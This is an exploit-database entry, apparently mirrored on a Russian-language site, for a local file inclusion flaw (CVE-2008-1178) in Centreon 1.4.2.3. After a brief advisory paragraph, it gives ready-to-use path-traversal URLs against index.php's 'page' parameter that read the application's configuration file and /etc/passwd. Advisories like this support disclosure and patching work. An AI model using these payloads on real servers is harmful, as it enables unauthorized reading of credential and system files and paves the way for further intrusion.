Exploit Centreon 1.4.2.3 - 'index.php' Local File Inclusion

[Exploiter]

EDB-ID

31318

Проверка EDB

1. Пройдено

Автор

JOSS

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-1178

Дата публикации

2008-02-29

source: https://www.securityfocus.com/bid/28052/info

Centreon is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain potentially sensitive information that may lead to further attacks.

This issue affects Centreon 1.4.2.3; other versions may also be vulnerable.

http://www.example.com/include/doc/index.php?page=../../www/oreon.conf.php
http://www.example.com/include/doc/index.php?page=../../../../../etc/passwd
http://www.example.com/include/doc/index.php?page=[Local File]